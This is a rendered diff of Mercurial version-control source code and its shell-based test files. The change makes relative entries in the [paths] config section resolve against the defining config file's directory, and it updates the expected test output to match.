510 510 else:
511 511 # Try to resolve as a local path or URI.
512 512 path = try_path(ui, source)
513 513 if path is not None:
514 514 url = path.rawloc
515 515 else:
516 516 url = source
517 517 yield parseurl(url, default_branches)
518 518
519 519
520 520 def get_unique_push_path(action, repo, ui, dest=None):
521 521 """return a unique `path` or abort if multiple are found
522 522
523 523 This is useful for command and action that does not support multiple
524 524 destination (yet).
525 525
526 526 Note that for now, we cannot get multiple destination so this function is "trivial".
527 527
528 528 The `action` parameter will be used for the error message.
529 529 """
530 530 if dest is None:
531 531 dests = []
532 532 else:
533 533 dests = [dest]
534 534 dests = list(get_push_paths(repo, ui, dests))
535 535 if len(dests) != 1:
536 536 if dest is None:
537 537 msg = _("default path points to %d urls while %s only supports one")
538 538 msg %= (len(dests), action)
539 539 else:
540 540 msg = _("path points to %d urls while %s only supports one: %s")
541 541 msg %= (len(dests), action, dest)
542 542 raise error.Abort(msg)
543 543 return dests[0]
544 544
545 545
546 546 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
547 547 """return a unique `(path, branch)` or abort if multiple are found
548 548
549 549 This is useful for command and action that does not support multiple
550 550 destination (yet).
551 551
552 552 Note that for now, we cannot get multiple destination so this function is "trivial".
553 553
554 554 The `action` parameter will be used for the error message.
555 555 """
556 556 urls = []
557 557 if source is None:
558 558 if b'default' in ui.paths:
559 559 urls.extend(p.rawloc for p in ui.paths[b'default'])
560 560 else:
561 561 # XXX this is the historical default behavior, but that is not
562 562 # great, consider breaking BC on this.
563 563 urls.append(b'default')
564 564 else:
565 565 if source in ui.paths:
566 566 urls.extend(p.rawloc for p in ui.paths[source])
567 567 else:
568 568 # Try to resolve as a local path or URI.
569 569 path = try_path(ui, source)
570 570 if path is not None:
571 571 urls.append(path.rawloc)
572 572 else:
573 573 urls.append(source)
574 574 if len(urls) != 1:
575 575 if source is None:
576 576 msg = _("default path points to %d urls while %s only supports one")
577 577 msg %= (len(urls), action)
578 578 else:
579 579 msg = _("path points to %d urls while %s only supports one: %s")
580 580 msg %= (len(urls), action, source)
581 581 raise error.Abort(msg)
582 582 return parseurl(urls[0], default_branches)
583 583
584 584
585 585 def get_clone_path(ui, source, default_branches=()):
586 586 """return the `(origsource, path, branch)` selected as clone source"""
587 587 urls = []
588 588 if source is None:
589 589 if b'default' in ui.paths:
590 590 urls.extend(p.rawloc for p in ui.paths[b'default'])
591 591 else:
592 592 # XXX this is the historical default behavior, but that is not
593 593 # great, consider breaking BC on this.
594 594 urls.append(b'default')
595 595 else:
596 596 if source in ui.paths:
597 597 urls.extend(p.rawloc for p in ui.paths[source])
598 598 else:
599 599 # Try to resolve as a local path or URI.
600 600 path = try_path(ui, source)
601 601 if path is not None:
602 602 urls.append(path.rawloc)
603 603 else:
604 604 urls.append(source)
605 605 if len(urls) != 1:
606 606 if source is None:
607 607 msg = _(
608 608 "default path points to %d urls while only one is supported"
609 609 )
610 610 msg %= len(urls)
611 611 else:
612 612 msg = _("path points to %d urls while only one is supported: %s")
613 613 msg %= (len(urls), source)
614 614 raise error.Abort(msg)
615 615 url = urls[0]
616 616 clone_path, branch = parseurl(url, default_branches)
617 617 return url, clone_path, branch
618 618
619 619
620 620 def parseurl(path, branches=None):
621 621 '''parse url#branch, returning (url, (branch, branches))'''
622 622 u = url(path)
623 623 branch = None
624 624 if u.fragment:
625 625 branch = u.fragment
626 626 u.fragment = None
627 627 return bytes(u), (branch, branches or [])
628 628
629 629
630 630 class paths(dict):
631 631 """Represents a collection of paths and their configs.
632 632
633 633 Data is initially derived from ui instances and the config files they have
634 634 loaded.
635 635 """
636 636
637 637 def __init__(self, ui):
638 638 dict.__init__(self)
639 639
640 home_path = os.path.expanduser(b'~')
641
640 642 for name, loc in ui.configitems(b'paths', ignoresub=True):
641 643 # No location is the same as not existing.
642 644 if not loc:
643 645 continue
644 loc, sub_opts = ui.configsuboptions(b'paths', name)
646 _value, sub_opts = ui.configsuboptions(b'paths', name)
647 s = ui.configsource(b'paths', name)
648 root_key = (name, loc, s)
649 root = ui._path_to_root.get(root_key, home_path)
650 loc = os.path.expandvars(loc)
651 loc = os.path.expanduser(loc)
652 if not hasscheme(loc) and not os.path.isabs(loc):
653 loc = os.path.normpath(os.path.join(root, loc))
645 654 self[name] = [path(ui, name, rawloc=loc, suboptions=sub_opts)]
646 655
647 656 for name, old_paths in sorted(self.items()):
648 657 new_paths = []
649 658 for p in old_paths:
650 659 new_paths.extend(_chain_path(p, ui, self))
651 660 self[name] = new_paths
652 661
653 662 def getpath(self, ui, name, default=None):
654 663 """Return a ``path`` from a string, falling back to default.
655 664
656 665 ``name`` can be a named path or locations. Locations are filesystem
657 666 paths or URIs.
658 667
659 668 Returns None if ``name`` is not a registered path, a URI, or a local
660 669 path to a repo.
661 670 """
662 671 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
663 672 self.deprecwarn(msg, '6.0')
664 673 # Only fall back to default if no path was requested.
665 674 if name is None:
666 675 if not default:
667 676 default = ()
668 677 elif not isinstance(default, (tuple, list)):
669 678 default = (default,)
670 679 for k in default:
671 680 try:
672 681 return self[k][0]
673 682 except KeyError:
674 683 continue
675 684 return None
676 685
677 686 # Most likely empty string.
678 687 # This may need to raise in the future.
679 688 if not name:
680 689 return None
681 690 if name in self:
682 691 return self[name][0]
683 692 else:
684 693 # Try to resolve as a local path or URI.
685 694 path = try_path(ui, name)
686 695 if path is None:
687 696 raise error.RepoError(_(b'repository %s does not exist') % name)
688 697 return path.rawloc
689 698
690 699
691 700 _pathsuboptions = {}
692 701
693 702
694 703 def pathsuboption(option, attr):
695 704 """Decorator used to declare a path sub-option.
696 705
697 706 Arguments are the sub-option name and the attribute it should set on
698 707 ``path`` instances.
699 708
700 709 The decorated function will receive as arguments a ``ui`` instance,
701 710 ``path`` instance, and the string value of this option from the config.
702 711 The function should return the value that will be set on the ``path``
703 712 instance.
704 713
705 714 This decorator can be used to perform additional verification of
706 715 sub-options and to change the type of sub-options.
707 716 """
708 717
709 718 def register(func):
710 719 _pathsuboptions[option] = (attr, func)
711 720 return func
712 721
713 722 return register
714 723
715 724
716 725 @pathsuboption(b'pushurl', b'pushloc')
717 726 def pushurlpathoption(ui, path, value):
718 727 u = url(value)
719 728 # Actually require a URL.
720 729 if not u.scheme:
721 730 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
722 731 return None
723 732
724 733 # Don't support the #foo syntax in the push URL to declare branch to
725 734 # push.
726 735 if u.fragment:
727 736 ui.warn(
728 737 _(
729 738 b'("#fragment" in paths.%s:pushurl not supported; '
730 739 b'ignoring)\n'
731 740 )
732 741 % path.name
733 742 )
734 743 u.fragment = None
735 744
736 745 return bytes(u)
737 746
738 747
739 748 @pathsuboption(b'pushrev', b'pushrev')
740 749 def pushrevpathoption(ui, path, value):
741 750 return value
742 751
743 752
744 753 def _chain_path(base_path, ui, paths):
745 754 """return the result of "path://" logic applied on a given path"""
746 755 new_paths = []
747 756 if base_path.url.scheme != b'path':
748 757 new_paths.append(base_path)
749 758 else:
750 759 assert base_path.url.path is None
751 760 sub_paths = paths.get(base_path.url.host)
752 761 if sub_paths is None:
753 762 m = _(b'cannot use `%s`, "%s" is not a known path')
754 763 m %= (base_path.rawloc, base_path.url.host)
755 764 raise error.Abort(m)
756 765 for subpath in sub_paths:
757 766 path = base_path.copy()
758 767 if subpath.raw_url.scheme == b'path':
759 768 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
760 769 m %= (path.rawloc, path.url.host)
761 770 raise error.Abort(m)
762 771 path.url = subpath.url
763 772 path.rawloc = subpath.rawloc
764 773 path.loc = subpath.loc
765 774 if path.branch is None:
766 775 path.branch = subpath.branch
767 776 else:
768 777 base = path.rawloc.rsplit(b'#', 1)[0]
769 778 path.rawloc = b'%s#%s' % (base, path.branch)
770 779 suboptions = subpath._all_sub_opts.copy()
771 780 suboptions.update(path._own_sub_opts)
772 781 path._apply_suboptions(ui, suboptions)
773 782 new_paths.append(path)
774 783 return new_paths
775 784
776 785
777 786 class path(object):
778 787 """Represents an individual path and its configuration."""
779 788
780 789 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
781 790 """Construct a path from its config options.
782 791
783 792 ``ui`` is the ``ui`` instance the path is coming from.
784 793 ``name`` is the symbolic name of the path.
785 794 ``rawloc`` is the raw location, as defined in the config.
786 795 ``pushloc`` is the raw locations pushes should be made to.
787 796
788 797 If ``name`` is not defined, we require that the location be a) a local
789 798 filesystem path with a .hg directory or b) a URL. If not,
790 799 ``ValueError`` is raised.
791 800 """
792 801 if ui is None:
793 802 # used in copy
794 803 assert name is None
795 804 assert rawloc is None
796 805 assert suboptions is None
797 806 return
798 807
799 808 if not rawloc:
800 809 raise ValueError(b'rawloc must be defined')
801 810
802 811 # Locations may define branches via syntax <base>#<branch>.
803 812 u = url(rawloc)
804 813 branch = None
805 814 if u.fragment:
806 815 branch = u.fragment
807 816 u.fragment = None
808 817
809 818 self.url = u
810 819 # the url from the config/command line before dealing with `path://`
811 820 self.raw_url = u.copy()
812 821 self.branch = branch
813 822
814 823 self.name = name
815 824 self.rawloc = rawloc
816 825 self.loc = b'%s' % u
817 826
818 827 self._validate_path()
819 828
820 829 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
821 830 self._own_sub_opts = {}
822 831 if suboptions is not None:
823 832 self._own_sub_opts = suboptions.copy()
824 833 sub_opts.update(suboptions)
825 834 self._all_sub_opts = sub_opts.copy()
826 835
827 836 self._apply_suboptions(ui, sub_opts)
828 837
829 838 def copy(self):
830 839 """make a copy of this path object"""
831 840 new = self.__class__()
832 841 for k, v in self.__dict__.items():
833 842 new_copy = getattr(v, 'copy', None)
834 843 if new_copy is not None:
835 844 v = new_copy()
836 845 new.__dict__[k] = v
837 846 return new
838 847
839 848 def _validate_path(self):
840 849 # When given a raw location but not a symbolic name, validate the
841 850 # location is valid.
842 851 if (
843 852 not self.name
844 853 and not self.url.scheme
845 854 and not self._isvalidlocalpath(self.loc)
846 855 ):
847 856 raise ValueError(
848 857 b'location is not a URL or path to a local '
849 858 b'repo: %s' % self.rawloc
850 859 )
851 860
852 861 def _apply_suboptions(self, ui, sub_options):
853 862 # Now process the sub-options. If a sub-option is registered, its
854 863 # attribute will always be present. The value will be None if there
855 864 # was no valid sub-option.
856 865 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
857 866 if suboption not in sub_options:
858 867 setattr(self, attr, None)
859 868 continue
860 869
861 870 value = func(ui, self, sub_options[suboption])
862 871 setattr(self, attr, value)
863 872
864 873 def _isvalidlocalpath(self, path):
865 874 """Returns True if the given path is a potentially valid repository.
866 875 This is its own function so that extensions can change the definition of
867 876 'valid' in this case (like when pulling from a git repo into a hg
868 877 one)."""
869 878 try:
870 879 return os.path.isdir(os.path.join(path, b'.hg'))
871 880 # Python 2 may return TypeError. Python 3, ValueError.
872 881 except (TypeError, ValueError):
873 882 return False
874 883
875 884 @property
876 885 def suboptions(self):
877 886 """Return sub-options and their values for this path.
878 887
879 888 This is intended to be used for presentation purposes.
880 889 """
881 890 d = {}
882 891 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
883 892 value = getattr(self, attr)
884 893 if value is not None:
885 894 d[subopt] = value
886 895 return d
@@ -1,514 +1,520 b''
1 1 Windows needs ';' as a file separator in an environment variable, and MSYS
2 2 doesn't automatically convert it in every case.
3 3
4 4 #if windows
5 5 $ path_list_var() {
6 6 > echo $1 | sed 's/:/;/'
7 7 > }
8 8 #else
9 9 $ path_list_var() {
10 10 > echo $1
11 11 > }
12 12 #endif
13 13
14 14
15 15 hide outer repo
16 16 $ hg init
17 17
18 18 Invalid syntax: no value
19 19
20 20 $ cat > .hg/hgrc << EOF
21 21 > novaluekey
22 22 > EOF
23 23 $ hg showconfig
24 24 config error at $TESTTMP/.hg/hgrc:1: novaluekey
25 25 [30]
26 26
27 27 Invalid syntax: no key
28 28
29 29 $ cat > .hg/hgrc << EOF
30 30 > =nokeyvalue
31 31 > EOF
32 32 $ hg showconfig
33 33 config error at $TESTTMP/.hg/hgrc:1: =nokeyvalue
34 34 [30]
35 35
36 36 Test hint about invalid syntax from leading white space
37 37
38 38 $ cat > .hg/hgrc << EOF
39 39 > key=value
40 40 > EOF
41 41 $ hg showconfig
42 42 config error at $TESTTMP/.hg/hgrc:1: unexpected leading whitespace: key=value
43 43 [30]
44 44
45 45 $ cat > .hg/hgrc << EOF
46 46 > [section]
47 47 > key=value
48 48 > EOF
49 49 $ hg showconfig
50 50 config error at $TESTTMP/.hg/hgrc:1: unexpected leading whitespace: [section]
51 51 [30]
52 52
53 53 Reset hgrc
54 54
55 55 $ echo > .hg/hgrc
56 56
57 57 Test case sensitive configuration
58 58
59 59 $ cat <<EOF >> $HGRCPATH
60 60 > [Section]
61 61 > KeY = Case Sensitive
62 62 > key = lower case
63 63 > EOF
64 64
65 65 $ hg showconfig Section
66 66 Section.KeY=Case Sensitive
67 67 Section.key=lower case
68 68
69 69 $ hg showconfig Section -Tjson
70 70 [
71 71 {
72 72 "defaultvalue": null,
73 73 "name": "Section.KeY",
74 74 "source": "*.hgrc:*", (glob)
75 75 "value": "Case Sensitive"
76 76 },
77 77 {
78 78 "defaultvalue": null,
79 79 "name": "Section.key",
80 80 "source": "*.hgrc:*", (glob)
81 81 "value": "lower case"
82 82 }
83 83 ]
84 84 $ hg showconfig Section.KeY -Tjson
85 85 [
86 86 {
87 87 "defaultvalue": null,
88 88 "name": "Section.KeY",
89 89 "source": "*.hgrc:*", (glob)
90 90 "value": "Case Sensitive"
91 91 }
92 92 ]
93 93 $ hg showconfig -Tjson | tail -7
94 94 {
95 95 "defaultvalue": null,
96 96 "name": "*", (glob)
97 97 "source": "*", (glob)
98 98 "value": "*" (glob)
99 99 }
100 100 ]
101 101
102 102 Test config default of various types:
103 103
104 104 {"defaultvalue": ""} for -T'json(defaultvalue)' looks weird, but that's
105 105 how the templater works. Unknown keywords are evaluated to "".
106 106
107 107 dynamicdefault
108 108
109 109 $ hg config --config alias.foo= alias -Tjson
110 110 [
111 111 {
112 112 "name": "alias.foo",
113 113 "source": "--config",
114 114 "value": ""
115 115 }
116 116 ]
117 117 $ hg config --config alias.foo= alias -T'json(defaultvalue)'
118 118 [
119 119 {"defaultvalue": ""}
120 120 ]
121 121 $ hg config --config alias.foo= alias -T'{defaultvalue}\n'
122 122
123 123
124 124 null
125 125
126 126 $ hg config --config auth.cookiefile= auth -Tjson
127 127 [
128 128 {
129 129 "defaultvalue": null,
130 130 "name": "auth.cookiefile",
131 131 "source": "--config",
132 132 "value": ""
133 133 }
134 134 ]
135 135 $ hg config --config auth.cookiefile= auth -T'json(defaultvalue)'
136 136 [
137 137 {"defaultvalue": null}
138 138 ]
139 139 $ hg config --config auth.cookiefile= auth -T'{defaultvalue}\n'
140 140
141 141
142 142 false
143 143
144 144 $ hg config --config commands.commit.post-status= commands -Tjson
145 145 [
146 146 {
147 147 "defaultvalue": false,
148 148 "name": "commands.commit.post-status",
149 149 "source": "--config",
150 150 "value": ""
151 151 }
152 152 ]
153 153 $ hg config --config commands.commit.post-status= commands -T'json(defaultvalue)'
154 154 [
155 155 {"defaultvalue": false}
156 156 ]
157 157 $ hg config --config commands.commit.post-status= commands -T'{defaultvalue}\n'
158 158 False
159 159
160 160 true
161 161
162 162 $ hg config --config format.dotencode= format -Tjson
163 163 [
164 164 {
165 165 "defaultvalue": true,
166 166 "name": "format.dotencode",
167 167 "source": "--config",
168 168 "value": ""
169 169 }
170 170 ]
171 171 $ hg config --config format.dotencode= format -T'json(defaultvalue)'
172 172 [
173 173 {"defaultvalue": true}
174 174 ]
175 175 $ hg config --config format.dotencode= format -T'{defaultvalue}\n'
176 176 True
177 177
178 178 bytes
179 179
180 180 $ hg config --config commands.resolve.mark-check= commands -Tjson
181 181 [
182 182 {
183 183 "defaultvalue": "none",
184 184 "name": "commands.resolve.mark-check",
185 185 "source": "--config",
186 186 "value": ""
187 187 }
188 188 ]
189 189 $ hg config --config commands.resolve.mark-check= commands -T'json(defaultvalue)'
190 190 [
191 191 {"defaultvalue": "none"}
192 192 ]
193 193 $ hg config --config commands.resolve.mark-check= commands -T'{defaultvalue}\n'
194 194 none
195 195
196 196 empty list
197 197
198 198 $ hg config --config commands.show.aliasprefix= commands -Tjson
199 199 [
200 200 {
201 201 "defaultvalue": [],
202 202 "name": "commands.show.aliasprefix",
203 203 "source": "--config",
204 204 "value": ""
205 205 }
206 206 ]
207 207 $ hg config --config commands.show.aliasprefix= commands -T'json(defaultvalue)'
208 208 [
209 209 {"defaultvalue": []}
210 210 ]
211 211 $ hg config --config commands.show.aliasprefix= commands -T'{defaultvalue}\n'
212 212
213 213
214 214 nonempty list
215 215
216 216 $ hg config --config progress.format= progress -Tjson
217 217 [
218 218 {
219 219 "defaultvalue": ["topic", "bar", "number", "estimate"],
220 220 "name": "progress.format",
221 221 "source": "--config",
222 222 "value": ""
223 223 }
224 224 ]
225 225 $ hg config --config progress.format= progress -T'json(defaultvalue)'
226 226 [
227 227 {"defaultvalue": ["topic", "bar", "number", "estimate"]}
228 228 ]
229 229 $ hg config --config progress.format= progress -T'{defaultvalue}\n'
230 230 topic bar number estimate
231 231
232 232 int
233 233
234 234 $ hg config --config profiling.freq= profiling -Tjson
235 235 [
236 236 {
237 237 "defaultvalue": 1000,
238 238 "name": "profiling.freq",
239 239 "source": "--config",
240 240 "value": ""
241 241 }
242 242 ]
243 243 $ hg config --config profiling.freq= profiling -T'json(defaultvalue)'
244 244 [
245 245 {"defaultvalue": 1000}
246 246 ]
247 247 $ hg config --config profiling.freq= profiling -T'{defaultvalue}\n'
248 248 1000
249 249
250 250 float
251 251
252 252 $ hg config --config profiling.showmax= profiling -Tjson
253 253 [
254 254 {
255 255 "defaultvalue": 0.999,
256 256 "name": "profiling.showmax",
257 257 "source": "--config",
258 258 "value": ""
259 259 }
260 260 ]
261 261 $ hg config --config profiling.showmax= profiling -T'json(defaultvalue)'
262 262 [
263 263 {"defaultvalue": 0.999}
264 264 ]
265 265 $ hg config --config profiling.showmax= profiling -T'{defaultvalue}\n'
266 266 0.999
267 267
268 268 Test empty config source:
269 269
270 270 $ cat <<EOF > emptysource.py
271 271 > def reposetup(ui, repo):
272 272 > ui.setconfig(b'empty', b'source', b'value')
273 273 > EOF
274 274 $ cp .hg/hgrc .hg/hgrc.orig
275 275 $ cat <<EOF >> .hg/hgrc
276 276 > [extensions]
277 277 > emptysource = `pwd`/emptysource.py
278 278 > EOF
279 279
280 280 $ hg config --source empty.source
281 281 none: value
282 282 $ hg config empty.source -Tjson
283 283 [
284 284 {
285 285 "defaultvalue": null,
286 286 "name": "empty.source",
287 287 "source": "",
288 288 "value": "value"
289 289 }
290 290 ]
291 291
292 292 $ cp .hg/hgrc.orig .hg/hgrc
293 293
294 294 Test "%unset"
295 295
296 296 $ cat >> $HGRCPATH <<EOF
297 297 > [unsettest]
298 298 > local-hgrcpath = should be unset (HGRCPATH)
299 299 > %unset local-hgrcpath
300 300 >
301 301 > global = should be unset (HGRCPATH)
302 302 >
303 303 > both = should be unset (HGRCPATH)
304 304 >
305 305 > set-after-unset = should be unset (HGRCPATH)
306 306 > EOF
307 307
308 308 $ cat >> .hg/hgrc <<EOF
309 309 > [unsettest]
310 310 > local-hgrc = should be unset (.hg/hgrc)
311 311 > %unset local-hgrc
312 312 >
313 313 > %unset global
314 314 >
315 315 > both = should be unset (.hg/hgrc)
316 316 > %unset both
317 317 >
318 318 > set-after-unset = should be unset (.hg/hgrc)
319 319 > %unset set-after-unset
320 320 > set-after-unset = should be set (.hg/hgrc)
321 321 > EOF
322 322
323 323 $ hg showconfig unsettest
324 324 unsettest.set-after-unset=should be set (.hg/hgrc)
325 325
326 326 Test exit code when no config matches
327 327
328 328 $ hg config Section.idontexist
329 329 [1]
330 330
331 331 sub-options in [paths] aren't expanded
332 332
333 333 $ cat > .hg/hgrc << EOF
334 334 > [paths]
335 335 > foo = ~/foo
336 336 > foo:suboption = ~/foo
337 337 > EOF
338 338
339 339 $ hg showconfig paths
340 paths.foo=~/foo
340 341 paths.foo:suboption=~/foo
341 paths.foo=$TESTTMP/foo
342
343 note: The path expansion no longer happens at the config level, but the path is
344 still expanded:
345
346 $ hg path | grep foo
347 foo = $TESTTMP/foo
342 348
343 349 edit failure
344 350
345 351 $ HGEDITOR=false hg config --edit
346 352 abort: edit failed: false exited with status 1
347 353 [10]
348 354
349 355 config affected by environment variables
350 356
351 357 $ EDITOR=e1 VISUAL=e2 hg config --source | grep 'ui\.editor'
352 358 $VISUAL: ui.editor=e2
353 359
354 360 $ VISUAL=e2 hg config --source --config ui.editor=e3 | grep 'ui\.editor'
355 361 --config: ui.editor=e3
356 362
357 363 $ PAGER=p1 hg config --source | grep 'pager\.pager'
358 364 $PAGER: pager.pager=p1
359 365
360 366 $ PAGER=p1 hg config --source --config pager.pager=p2 | grep 'pager\.pager'
361 367 --config: pager.pager=p2
362 368
363 369 verify that aliases are evaluated as well
364 370
365 371 $ hg init aliastest
366 372 $ cd aliastest
367 373 $ cat > .hg/hgrc << EOF
368 374 > [ui]
369 375 > user = repo user
370 376 > EOF
371 377 $ touch index
372 378 $ unset HGUSER
373 379 $ hg ci -Am test
374 380 adding index
375 381 $ hg log --template '{author}\n'
376 382 repo user
377 383 $ cd ..
378 384
379 385 alias has lower priority
380 386
381 387 $ hg init aliaspriority
382 388 $ cd aliaspriority
383 389 $ cat > .hg/hgrc << EOF
384 390 > [ui]
385 391 > user = alias user
386 392 > username = repo user
387 393 > EOF
388 394 $ touch index
389 395 $ unset HGUSER
390 396 $ hg ci -Am test
391 397 adding index
392 398 $ hg log --template '{author}\n'
393 399 repo user
394 400 $ cd ..
395 401
396 402 configs should be read in lexicographical order
397 403
398 404 $ mkdir configs
399 405 $ for i in `$TESTDIR/seq.py 10 99`; do
400 406 > printf "[section]\nkey=$i" > configs/$i.rc
401 407 > done
402 408 $ HGRCPATH=configs hg config section.key
403 409 99
404 410
405 411 Configuration priority
406 412 ======================
407 413
408 414 setup necessary file
409 415
410 416 $ cat > file-A.rc << EOF
411 417 > [config-test]
412 418 > basic = value-A
413 419 > pre-include= value-A
414 420 > %include ./included.rc
415 421 > post-include= value-A
416 422 > [command-templates]
417 423 > log = "value-A\n"
418 424 > EOF
419 425
420 426 $ cat > file-B.rc << EOF
421 427 > [config-test]
422 428 > basic = value-B
423 429 > [ui]
424 430 > logtemplate = "value-B\n"
425 431 > EOF
426 432
427 433
428 434 $ cat > included.rc << EOF
429 435 > [config-test]
430 436 > pre-include= value-included
431 437 > post-include= value-included
432 438 > EOF
433 439
434 440 $ cat > file-C.rc << EOF
435 441 > %include ./included-alias-C.rc
436 442 > [ui]
437 443 > logtemplate = "value-C\n"
438 444 > EOF
439 445
440 446 $ cat > included-alias-C.rc << EOF
441 447 > [command-templates]
442 448 > log = "value-included\n"
443 449 > EOF
444 450
445 451
446 452 $ cat > file-D.rc << EOF
447 453 > [command-templates]
448 454 > log = "value-D\n"
449 455 > %include ./included-alias-D.rc
450 456 > EOF
451 457
452 458 $ cat > included-alias-D.rc << EOF
453 459 > [ui]
454 460 > logtemplate = "value-included\n"
455 461 > EOF
456 462
457 463 Simple order checking
458 464 ---------------------
459 465
460 466 If file B is read after file A, value from B overwrite value from A.
461 467
462 468 $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg config config-test.basic
463 469 value-B
464 470
465 471 Ordering from include
466 472 ---------------------
467 473
468 474 value from an include overwrite value defined before the include, but not the one defined after the include
469 475
470 476 $ HGRCPATH="file-A.rc" hg config config-test.pre-include
471 477 value-included
472 478 $ HGRCPATH="file-A.rc" hg config config-test.post-include
473 479 value-A
474 480
475 481 command line override
476 482 ---------------------
477 483
478 484 $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg config config-test.basic --config config-test.basic=value-CLI
479 485 value-CLI
480 486
481 487 Alias ordering
482 488 --------------
483 489
484 490 The official config is now `command-templates.log`, the historical
485 491 `ui.logtemplate` is a valid alternative for it.
486 492
487 493 When both are defined, The config value read the last "win", this should keep
488 494 being true if the config have other alias. In other word, the config value read
489 495 earlier will be considered "lower level" and the config read later would be
490 496 considered "higher level". And higher level values wins.
491 497
492 498 $ HGRCPATH="file-A.rc" hg log -r .
493 499 value-A
494 500 $ HGRCPATH="file-B.rc" hg log -r .
495 501 value-B
496 502 $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg log -r .
497 503 value-B
498 504
499 505 Alias and include
500 506 -----------------
501 507
502 508 The pre/post include priority should also apply when tie-breaking alternatives.
503 509 See the case above for details about the two config options used.
504 510
505 511 $ HGRCPATH="file-C.rc" hg log -r .
506 512 value-C
507 513 $ HGRCPATH="file-D.rc" hg log -r .
508 514 value-included
509 515
510 516 command line override
511 517 ---------------------
512 518
513 519 $ HGRCPATH=`path_list_var "file-A.rc:file-B.rc"` hg log -r . --config ui.logtemplate="value-CLI\n"
514 520 value-CLI
@@ -1,572 +1,576 b''
1 1 $ hg init a
2 2 $ cd a
3 3 $ echo a > a
4 4 $ hg ci -A -d'1 0' -m a
5 5 adding a
6 6
7 7 $ cd ..
8 8
9 9 $ hg init b
10 10 $ cd b
11 11 $ echo b > b
12 12 $ hg ci -A -d'1 0' -m b
13 13 adding b
14 14
15 15 $ cd ..
16 16
17 17 $ hg clone a c
18 18 updating to branch default
19 19 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
20 20 $ cd c
21 21 $ cat >> .hg/hgrc <<EOF
22 22 > [paths]
23 23 > relative = ../a
24 24 > EOF
25 25 $ hg pull -f ../b
26 26 pulling from ../b
27 27 searching for changes
28 28 warning: repository is unrelated
29 29 requesting all changes
30 30 adding changesets
31 31 adding manifests
32 32 adding file changes
33 33 added 1 changesets with 1 changes to 1 files (+1 heads)
34 34 new changesets b6c483daf290
35 35 (run 'hg heads' to see heads, 'hg merge' to merge)
36 36 $ hg merge
37 37 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
38 38 (branch merge, don't forget to commit)
39 39
40 40 $ cd ..
41 41
42 42 Testing -R/--repository:
43 43
44 44 $ hg -R a tip
45 45 changeset: 0:8580ff50825a
46 46 tag: tip
47 47 user: test
48 48 date: Thu Jan 01 00:00:01 1970 +0000
49 49 summary: a
50 50
51 51 $ hg --repository b tip
52 52 changeset: 0:b6c483daf290
53 53 tag: tip
54 54 user: test
55 55 date: Thu Jan 01 00:00:01 1970 +0000
56 56 summary: b
57 57
58 58
59 59 -R with a URL:
60 60
61 61 $ hg -R file:a identify
62 62 8580ff50825a tip
63 63 $ hg -R file://localhost/`pwd`/a/ identify
64 64 8580ff50825a tip
65 65
66 66 -R with path aliases:
67 67
68 68 TODO: add rhg support for path aliases
69 69 #if no-rhg
70 70 $ cd c
71 71 $ hg -R default identify
72 72 8580ff50825a tip
73 73 $ hg -R relative identify
74 74 8580ff50825a tip
75 75 $ echo '[paths]' >> $HGRCPATH
76 76 $ echo 'relativetohome = a' >> $HGRCPATH
77 $ hg path | grep relativetohome
78 relativetohome = $TESTTMP/a
79 $ HOME=`pwd`/../ hg path | grep relativetohome
80 relativetohome = $TESTTMP/a
77 81 $ HOME=`pwd`/../ hg -R relativetohome identify
78 82 8580ff50825a tip
79 83 $ cd ..
80 84 #endif
81 85
82 86 #if no-outer-repo
83 87
84 88 Implicit -R:
85 89
86 90 $ hg ann a/a
87 91 0: a
88 92 $ hg ann a/a a/a
89 93 0: a
90 94 $ hg ann a/a b/b
91 95 abort: no repository found in '$TESTTMP' (.hg not found)
92 96 [10]
93 97 $ hg -R b ann a/a
94 98 abort: a/a not under root '$TESTTMP/b'
95 99 (consider using '--cwd b')
96 100 [255]
97 101 $ hg log
98 102 abort: no repository found in '$TESTTMP' (.hg not found)
99 103 [10]
100 104
101 105 #endif
102 106
103 107 Abbreviation of long option:
104 108
105 109 $ hg --repo c tip
106 110 changeset: 1:b6c483daf290
107 111 tag: tip
108 112 parent: -1:000000000000
109 113 user: test
110 114 date: Thu Jan 01 00:00:01 1970 +0000
111 115 summary: b
112 116
113 117
114 118 earlygetopt with duplicate options (36d23de02da1):
115 119
116 120 $ hg --cwd a --cwd b --cwd c tip
117 121 changeset: 1:b6c483daf290
118 122 tag: tip
119 123 parent: -1:000000000000
120 124 user: test
121 125 date: Thu Jan 01 00:00:01 1970 +0000
122 126 summary: b
123 127
124 128 $ hg --repo c --repository b -R a tip
125 129 changeset: 0:8580ff50825a
126 130 tag: tip
127 131 user: test
128 132 date: Thu Jan 01 00:00:01 1970 +0000
129 133 summary: a
130 134
131 135
132 136 earlygetopt short option without following space:
133 137
134 138 $ hg -q -Rb tip
135 139 0:b6c483daf290
136 140
137 141 earlygetopt with illegal abbreviations:
138 142
139 143 $ hg --confi "foo.bar=baz"
140 144 abort: option --config may not be abbreviated
141 145 [10]
142 146 $ hg --cw a tip
143 147 abort: option --cwd may not be abbreviated
144 148 [10]
145 149 $ hg --rep a tip
146 150 abort: option -R has to be separated from other options (e.g. not -qR) and --repository may only be abbreviated as --repo
147 151 [10]
148 152 $ hg --repositor a tip
149 153 abort: option -R has to be separated from other options (e.g. not -qR) and --repository may only be abbreviated as --repo
150 154 [10]
151 155 $ hg -qR a tip
152 156 abort: option -R has to be separated from other options (e.g. not -qR) and --repository may only be abbreviated as --repo
153 157 [10]
154 158 $ hg -qRa tip
155 159 abort: option -R has to be separated from other options (e.g. not -qR) and --repository may only be abbreviated as --repo
156 160 [10]
157 161
158 162 Testing --cwd:
159 163
160 164 $ hg --cwd a parents
161 165 changeset: 0:8580ff50825a
162 166 tag: tip
163 167 user: test
164 168 date: Thu Jan 01 00:00:01 1970 +0000
165 169 summary: a
166 170
167 171
